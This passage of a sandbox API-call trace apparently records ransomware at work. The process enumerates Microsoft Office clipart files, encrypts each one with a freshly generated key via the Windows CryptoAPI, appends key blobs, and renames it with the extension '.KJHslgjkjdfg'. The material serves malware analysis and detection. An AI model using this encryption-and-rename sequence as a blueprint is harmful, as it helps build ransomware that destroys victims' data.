(in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.168] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.169] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.169] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.169] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x91c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x91c, lpOverlapped=0x0) returned 1 [0189.169] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x920, dwBufLen=0x920 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x920) returned 1 [0189.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.169] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x920, lpOverlapped=0x0) returned 1 [0189.169] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.169] SetEndOfFile (hFile=0x130) returned 1 [0189.172] GetProcessHeap () returned 0x990000 [0189.172] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.172] GetProcessHeap () returned 0x990000 [0189.172] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.kjhslgjkjdfg")) returned 1 [0189.173] CloseHandle (hObject=0x130) returned 1 [0189.173] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0189.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.174] GetProcessHeap () returned 0x990000 [0189.174] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.174] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.174] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.176] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.176] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.176] GetProcessHeap () returned 0x990000 [0189.176] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.176] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.176] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.176] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.176] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.176] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.176] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.177] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.177] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.177] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.177] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.177] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x284c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x284c, lpOverlapped=0x0) returned 1 [0189.178] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2850, dwBufLen=0x2850 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2850) returned 1 [0189.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2850, lpOverlapped=0x0) returned 1 [0189.178] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.179] SetEndOfFile (hFile=0x130) returned 1 [0189.181] GetProcessHeap () returned 0x990000 [0189.181] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.181] GetProcessHeap () returned 0x990000 [0189.181] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.kjhslgjkjdfg")) returned 1 [0189.182] CloseHandle (hObject=0x130) returned 1 [0189.182] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0189.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.183] GetProcessHeap () returned 0x990000 [0189.183] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.183] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.183] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0189.185] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.185] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.185] GetProcessHeap () returned 0x990000 [0189.186] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.186] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.186] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.186] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.186] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.186] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.186] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.186] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.186] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.186] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.186] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x76ce, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x76ce, lpOverlapped=0x0) returned 1 [0189.188] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x76d0, dwBufLen=0x76d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x76d0) returned 1 [0189.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.189] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x76d0, lpOverlapped=0x0) returned 1 [0189.189] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x77a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.189] SetEndOfFile (hFile=0x130) returned 1 [0189.192] GetProcessHeap () returned 0x990000 [0189.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.192] GetProcessHeap () returned 0x990000 [0189.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.kjhslgjkjdfg")) returned 1 [0189.193] CloseHandle (hObject=0x130) returned 1 [0189.193] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0189.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.194] GetProcessHeap () returned 0x990000 [0189.194] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.194] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.194] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0189.196] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.196] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.196] GetProcessHeap () returned 0x990000 [0189.196] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.196] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.196] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.196] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.196] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.196] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.196] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.197] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.197] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.197] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.197] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4604, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4604, lpOverlapped=0x0) returned 1 [0189.201] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4610, dwBufLen=0x4610 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4610) returned 1 [0189.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.201] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4610, lpOverlapped=0x0) returned 1 [0189.201] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x46e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.201] SetEndOfFile (hFile=0x130) returned 1 [0189.202] GetProcessHeap () returned 0x990000 [0189.202] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.202] GetProcessHeap () returned 0x990000 [0189.202] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.kjhslgjkjdfg")) returned 1 [0189.203] CloseHandle (hObject=0x130) returned 1 [0189.204] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0189.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.205] GetProcessHeap () returned 0x990000 [0189.205] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.205] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.205] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.207] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.207] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.207] GetProcessHeap () returned 0x990000 [0189.207] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.207] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.207] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.207] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.207] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.207] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.207] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.208] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.208] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.208] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.208] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x79cc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x79cc, 